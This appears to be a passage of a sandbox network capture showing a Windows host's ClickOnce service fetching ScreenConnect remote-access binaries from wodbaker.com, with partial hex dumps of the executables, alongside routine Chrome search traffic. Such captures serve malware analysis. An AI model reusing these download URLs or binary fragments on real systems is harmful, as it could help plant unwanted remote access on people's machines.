2024-11-22 22:00:49 UTC	1390	IN	Data Raw: 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 Data Ascii: sByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49786	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:49 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:49 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 22 Nov 2024 22:00:49 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 22:00:49 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-22 22:00:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49787	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:50 UTC	90	OUT	GET /Bin/ScreenConnect.Windows.dll HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip
2024-11-22 22:00:50 UTC	236	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 1721856 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:50 GMT Connection: close
2024-11-22 22:00:50 UTC	16148	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 79 16 02 e0 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 3e 1a 00 00 06 00 00 00 00 00 00 7e 5d 1a 00 00 20 00 00 00 60 1a 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 1a 00 00 02 00 00 38 00 1b 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELy" 0>~] ` 8@
2024-11-22 22:00:50 UTC	16384	IN	Data Raw: 70 17 8d 15 00 00 01 25 16 09 a2 28 00 02 00 0a 28 93 00 00 0a 14 04 05 16 28 ba 00 00 06 13 06 de 11 09 28 01 02 00 0a dc 06 2c 06 06 6f 11 00 00 0a dc 11 06 2a 00 00 01 34 00 00 02 00 99 00 0a a3 00 0c 00 00 00 00 02 00 81 00 2e af 00 0c 00 00 00 00 02 00 73 00 87 fa 00 07 00 00 00 00 02 00 06 00 fb 01 01 0a 00 00 00 00 13 30 02 00 1f 00 00 00 2a 00 00 11 1f 28 7e 5e 00 00 0a 28 e0 00 00 06 72 71 06 00 70 28 02 02 00 0a 0a 02 06 28 bd 00 00 06 2a 00 13 30 05 00 47 00 00 00 00 00 00 00 03 25 2d 06 26 28 be 00 00 06 18 8d d9 00 00 01 25 16 72 9d 06 00 70 a2 25 17 72 b9 06 00 70 a2 28 03 02 00 0a 7e a7 00 00 04 25 2d 13 26 14 fe 06 04 02 00 0a 73 05 02 00 0a 25 80 a7 00 00 04 02 28 32 00 00 2b 2a 00 1b 30 04 00 90 00 00 00 3a 00 00 11 28 0d 01 00 06 1f 0a Data Ascii: p%((((,o4.s0(~^(rqp((0G%-&(%rp%rp(~%-&s%(2+0:(
2024-11-22 22:00:51 UTC	16384	IN	Data Raw: 00 04 1b 28 aa 01 00 06 7d fc 00 00 04 2b 2e 02 02 7b fc 00 00 04 7d f8 00 00 04 02 17 7d f7 00 00 04 17 2a 02 15 7d f7 00 00 04 02 02 7b fc 00 00 04 18 28 aa 01 00 06 7d fc 00 00 04 02 7b fc 00 00 04 16 d3 28 84 00 00 0a 2d c3 16 2a 1e 02 7b f8 00 00 04 2a 1a 73 7b 01 00 0a 7a 32 02 7b f8 00 00 04 8c ce 00 00 01 2a 00 00 13 30 02 00 3c 00 00 00 88 00 00 11 02 7b f7 00 00 04 1f fe 33 1d 02 7b f9 00 00 04 28 4e 03 00 0a 6f 4f 03 00 0a 33 0b 02 16 7d f7 00 00 04 02 0a 2b 07 16 73 4d 03 00 06 0a 06 02 7b fb 00 00 04 7d fa 00 00 04 06 2a 1e 02 28 53 03 00 06 2a 7a 02 28 2c 00 00 0a 02 03 7d fd 00 00 04 02 28 4e 03 00 0a 6f 4f 03 00 0a 7d ff 00 00 04 2a 06 2a 00 00 00 13 30 05 00 d5 00 00 00 89 00 00 11 02 7b fd 00 00 04 0a 06 2c 09 06 17 3b 8d 00 00 00 16 2a Data Ascii: (}+.{}}}{(}{(-{s{z2{0<{3{(NoO3}+sM{}(Sz(,}(NoO}*0{,;
2024-11-22 22:00:51 UTC	16384	IN	Data Raw: f2 25 56 80 d4 15 f2 25 06 00 af 54 6e 22 06 00 ba 90 6e 22 06 00 71 cc 6e 22 06 00 48 cf 6e 22 06 00 5e 3e 6e 22 06 00 9f a3 6e 22 06 00 c4 b2 a0 02 06 00 36 b2 6e 22 06 00 49 a7 a0 02 06 00 41 a7 6e 22 06 00 81 cc 6e 22 06 00 af 54 6e 22 06 00 ba 90 6e 22 06 00 9f a3 6e 22 06 00 7c aa 6e 22 06 00 f7 cf 71 22 06 00 ce 45 71 22 06 00 66 46 6e 22 06 00 07 59 6e 22 06 00 b6 bf 6e 22 06 00 31 6a 6e 22 06 00 8f 9f 6e 22 06 00 e8 60 6e 22 06 00 48 cf 6e 22 06 00 f4 5f 6e 22 06 00 04 52 25 25 06 00 e3 be 6e 22 06 00 5b be 6e 22 06 10 55 51 f7 25 06 06 80 30 af 08 56 80 80 c8 fb 25 56 80 69 c8 fb 25 06 06 80 30 af 08 56 80 35 9d 00 26 06 06 80 30 af 08 56 80 62 27 05 26 56 80 90 29 05 26 56 80 e3 0d 05 26 56 80 86 29 05 26 06 06 80 30 6e 22 56 80 2c 39 0a 26 56 Data Ascii: %V%Tn"n"qn"Hn"^>n"n"6n"IAn"n"Tn"n"n"\|n"q"Eq"fFn"Yn"n"1jn"n"`n"Hn"_n"R%%n"[n"UQ%0V%Vi%0V5&0Vb'&V)&V&V)&0n"V,9&V
2024-11-22 22:00:51 UTC	16384	IN	Data Raw: 00 00 00 00 c6 00 21 5b 10 00 0e 07 4b a5 00 00 00 00 c6 00 5e 53 10 00 0f 07 5e a5 00 00 00 00 91 18 18 99 0e 27 10 07 6a a5 00 00 00 00 86 18 ed 98 01 00 10 07 72 a5 00 00 00 00 83 00 d7 02 29 3b 10 07 7a a5 00 00 00 00 83 00 81 0a 30 3b 12 07 82 a5 00 00 00 00 86 18 ed 98 01 00 13 07 8a a5 00 00 00 00 83 00 d6 07 1b 3b 13 07 9d a5 00 00 00 00 91 18 18 99 0e 27 14 07 a9 a5 00 00 00 00 86 18 ed 98 01 00 14 07 b1 a5 00 00 00 00 83 00 ab 02 39 3b 14 07 b9 a5 00 00 00 00 83 00 55 0a 39 3b 15 07 c1 a5 00 00 00 00 86 18 ed 98 05 00 16 07 e0 a5 00 00 00 00 e1 01 ac 58 01 00 17 07 18 a6 00 00 00 00 e1 01 37 c2 3d 00 17 07 e4 a7 00 00 00 00 81 00 d5 0d 01 00 17 07 00 a8 00 00 00 00 e1 09 d0 bb e0 18 17 07 08 a8 00 00 00 00 e1 01 13 b6 01 00 17 07 0f a8 00 00 00 Data Ascii: ![K^S^'jr);z0;;'9;U9;X7=
2024-11-22 22:00:51 UTC	16384	IN	Data Raw: 52 0f 3b 10 44 04 5f 46 99 1a 3c 04 86 99 a0 02 3c 04 5b 34 45 10 a9 06 0b 5f 39 02 3c 04 8d 4a a0 02 91 04 5f 46 01 00 89 06 8d 58 39 02 d1 03 86 c7 01 00 69 04 a6 58 01 00 71 09 dc 37 b1 1a 71 09 1c 36 89 01 59 06 ab cc e9 1a e1 02 ed 98 f8 1a e1 02 ed 98 07 1b 41 06 ed 98 10 00 b9 08 ae 9e 16 1b 19 0a 85 3e 1d 1b 29 02 96 4c 7c 04 31 02 ed 98 01 00 99 04 68 53 f5 09 c1 09 21 5b 10 00 39 02 96 4c 7c 04 39 02 35 70 89 01 99 02 e2 6a 7c 04 99 02 28 59 3b 1b b1 07 1b 6b 3d 0b 4c 04 a8 98 5b 00 54 04 b5 bc 49 00 44 02 ab 0d d9 00 08 00 14 00 25 1c 08 00 18 00 2a 1c 08 00 1c 00 2f 1c 08 00 20 00 34 1c 08 00 b8 00 39 1c 0e 00 bc 00 3e 1c 0e 00 c0 00 51 1c 0e 00 c4 00 62 1c 08 00 c8 00 75 1c 08 00 cc 00 7a 1c 0e 00 d0 00 7f 1c 0e 00 d4 00 8e 1c 0e 00 d8 00 9d Data Ascii: R;D_F<<[4E_9<J_FX9iXq7q6YA>)L\|1hS![9L\|95pj\|(Y;k=L[TID%*/ 49>Qbuz
2024-11-22 22:00:51 UTC	16384	IN	Data Raw: 63 65 53 6f 75 72 63 65 73 3e 62 5f 5f 33 5f 31 00 3c 3e 39 5f 5f 31 33 35 5f 31 00 3c 47 65 74 46 75 6c 6c 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 3e 62 5f 5f 31 33 35 5f 31 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 34 37 5f 31 00 3c 43 6f 6e 6e 65 63 74 53 65 72 76 65 72 43 6c 69 65 6e 74 4e 61 6d 65 64 50 69 70 65 73 3e 67 5f 5f 57 61 69 74 41 6e 64 43 6f 6e 6e 65 63 74 4e 61 6d 65 64 50 69 70 65 7c 39 37 5f 31 00 3c 50 6f 70 75 6c 61 74 65 43 6f 6e 74 65 78 74 4d 65 6e 75 53 74 72 69 70 49 74 65 6d 73 3e 62 5f 5f 37 5f 31 00 3c 3e 39 5f 5f 38 5f 31 00 3c 50 6f 70 75 6c 61 74 65 43 6f 6e 74 65 78 74 4d 65 6e 75 53 74 72 69 70 49 74 65 6d 73 3e 62 5f 5f 38 5f 31 00 3c 3e 39 5f 5f 32 39 5f 31 00 3c 54 72 79 47 65 74 41 63 74 69 76 65 43 6f Data Ascii: ceSources>b__3_1<>9__135_1<GetFullExecutablePath>b__135_1<>c__DisplayClass47_1<ConnectServerClientNamedPipes>g__WaitAndConnectNamedPipe\|97_1<PopulateContextMenuStripItems>b__7_1<>9__8_1<PopulateContextMenuStripItems>b__8_1<>9__29_1<TryGetActiveCo
2024-11-22 22:00:51 UTC	16384	IN	Data Raw: 6e 64 6c 65 00 77 69 6e 64 6f 77 48 61 6e 64 6c 65 00 62 61 73 65 4b 65 79 48 61 6e 64 6c 65 00 6c 69 62 72 61 72 79 48 61 6e 64 6c 65 00 72 65 73 75 6d 65 5f 68 61 6e 64 6c 65 00 54 6f 52 65 63 74 61 6e 67 6c 65 00 47 65 74 43 6c 69 65 6e 74 52 65 63 74 61 6e 67 6c 65 00 47 65 74 57 69 6e 64 6f 77 52 65 63 74 61 6e 67 6c 65 00 72 65 63 74 61 6e 67 6c 65 00 70 44 61 74 61 46 69 6c 65 00 75 6c 6c 54 6f 74 61 6c 50 61 67 65 46 69 6c 65 00 75 6c 6c 41 76 61 69 6c 50 61 67 65 46 69 6c 65 00 43 72 65 61 74 65 46 69 6c 65 00 68 54 65 6d 70 6c 61 74 65 46 69 6c 65 00 44 65 6c 65 74 65 46 69 6c 65 00 4d 6f 76 65 46 69 6c 65 00 70 43 6f 6e 66 69 67 46 69 6c 65 00 54 72 79 55 6e 62 6c 6f 63 6b 46 69 6c 65 00 4c 6f 61 64 52 65 73 6f 75 72 63 65 50 61 63 6b 46 72 6f Data Ascii: ndlewindowHandlebaseKeyHandlelibraryHandleresume_handleToRectangleGetClientRectangleGetWindowRectanglerectanglepDataFileullTotalPageFileullAvailPageFileCreateFilehTemplateFileDeleteFileMoveFilepConfigFileTryUnblockFileLoadResourcePackFro
2024-11-22 22:00:51 UTC	16384	IN	Data Raw: 75 72 72 65 6e 74 54 68 72 65 61 64 44 65 73 6b 74 6f 70 00 3c 39 3e 5f 5f 43 6c 6f 73 65 44 65 73 6b 74 6f 70 00 43 72 65 61 74 65 44 65 73 6b 74 6f 70 00 53 77 69 74 63 68 44 65 73 6b 74 6f 70 00 4f 70 65 6e 44 65 73 6b 74 6f 70 00 6c 70 44 65 73 6b 74 6f 70 00 54 72 79 45 6e 73 75 72 65 54 68 72 65 61 64 4f 6e 49 6e 70 75 74 44 65 73 6b 74 6f 70 00 4f 70 65 6e 49 6e 70 75 74 44 65 73 6b 74 6f 70 00 6c 70 73 7a 44 65 73 6b 74 6f 70 00 64 65 73 6b 74 6f 70 00 65 5f 73 70 00 55 72 69 53 63 68 65 6d 65 48 74 74 70 00 4e 61 74 69 76 65 43 6c 65 61 6e 75 70 00 6c 70 4c 6f 61 64 4f 72 64 65 72 47 72 6f 75 70 00 47 65 74 4c 61 73 74 41 63 74 69 76 65 50 6f 70 75 70 00 41 70 70 44 6f 6d 61 69 6e 53 65 74 75 70 00 70 73 7a 56 65 6e 64 6f 72 53 65 74 75 70 00 66 Data Ascii: urrentThreadDesktop<9>__CloseDesktopCreateDesktopSwitchDesktopOpenDesktoplpDesktopTryEnsureThreadOnInputDesktopOpenInputDesktoplpszDesktopdesktope_spUriSchemeHttpNativeCleanuplpLoadOrderGroupGetLastActivePopupAppDomainSetuppszVendorSetupf
2024-11-22 22:00:51 UTC	16384	IN	Data Raw: 72 43 72 65 61 74 65 52 65 67 69 73 74 72 79 4b 65 79 00 4f 70 65 6e 52 65 67 69 73 74 72 79 4b 65 79 00 43 72 65 61 74 65 50 72 6f 70 65 72 74 79 4b 65 79 00 47 65 74 48 6f 74 6b 65 79 00 53 65 74 48 6f 74 6b 65 79 00 70 77 48 6f 74 6b 65 79 00 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 00 67 65 74 5f 41 73 73 65 6d 62 6c 79 00 67 65 74 5f 46 6f 6e 74 46 61 6d 69 6c 79 00 44 65 66 61 75 6c 74 46 6f 6e 74 46 61 6d 69 6c 79 00 54 72 79 44 69 73 61 62 6c 65 46 69 6c 65 53 79 73 74 65 6d 52 65 64 69 72 65 63 74 69 6f 6e 54 65 6d 70 6f 72 61 72 69 6c 79 00 73 65 74 5f 52 65 61 64 4f 6e 6c 79 00 44 69 73 70 6f 73 65 51 75 69 65 74 6c 79 00 70 6f 69 6e 74 6c 79 00 53 65 6c 65 63 74 4d 61 6e 79 00 53 68 75 74 64 6f 77 6e Data Ascii: rCreateRegistryKeyOpenRegistryKeyCreatePropertyKeyGetHotkeySetHotkeypwHotkeySystem.Security.Cryptographyget_Assemblyget_FontFamilyDefaultFontFamilyTryDisableFileSystemRedirectionTemporarilyset_ReadOnlyDisposeQuietlypointlySelectManyShutdown

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49788	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:52 UTC	648	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wo&oit=1&cp=2&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49789	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:52 UTC	649	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wod&oit=1&cp=3&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49793	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:53 UTC	650	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodb&oit=1&cp=4&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49794	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:53 UTC	651	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodba&oit=1&cp=5&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49795	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:53 UTC	652	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbak&oit=1&cp=6&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49796	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:54 UTC	654	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker&oit=1&cp=8&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49797	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:55 UTC	655	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.&oit=1&cp=9&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49799	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:55 UTC	96	OUT	GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip
2024-11-22 22:00:55 UTC	235	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 602392 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:55 GMT Connection: close
2024-11-22 22:00:55 UTC	16149	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 db c1 bb 82 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 00 09 00 00 06 00 00 00 00 00 00 a2 19 09 00 00 20 00 00 00 20 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 09 00 00 02 00 00 0b 89 09 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"0 @ `@
2024-11-22 22:00:56 UTC	16384	IN	Data Raw: 32 00 00 2b 28 ce 01 00 0a 0a 06 25 2d 06 26 7e b1 00 00 0a 2a 00 00 1b 30 06 00 20 0f 00 00 2c 00 00 11 73 b0 07 00 06 0a 06 02 7d 14 03 00 04 28 75 01 00 0a 2c 1c 72 9d 0a 00 70 17 17 28 76 01 00 0a 28 77 01 00 0a 16 8d 11 00 00 01 28 78 01 00 0a 02 17 7d 48 00 00 04 02 28 e4 00 00 06 17 28 cf 01 00 0a 0b 02 28 fd 00 00 06 0c 02 28 dc 00 00 06 7e a9 02 00 04 25 2d 17 26 7e 96 02 00 04 fe 06 2a 07 00 06 73 d0 01 00 0a 25 80 a9 02 00 04 28 33 00 00 2b 6f d1 01 00 0a 0d 38 55 0d 00 00 12 04 09 6f d2 01 00 0a 7d 16 03 00 04 11 04 7b 16 03 00 04 28 2c 00 00 2b 13 05 11 04 7b 16 03 00 04 6f 15 03 00 06 28 3b 06 00 06 13 06 11 04 7b 16 03 00 04 6f 29 03 00 06 28 4f 06 00 06 13 07 11 04 7b 16 03 00 04 6f 2a 03 00 06 28 4f 06 00 06 13 08 11 04 7b 16 03 00 04 6f Data Ascii: 2+(%-&~0 ,s}(u,rp(v(w(x}H((((~%-&~s%(3+o8Uo}{(,+{o(;{o)(O{o*(O{o
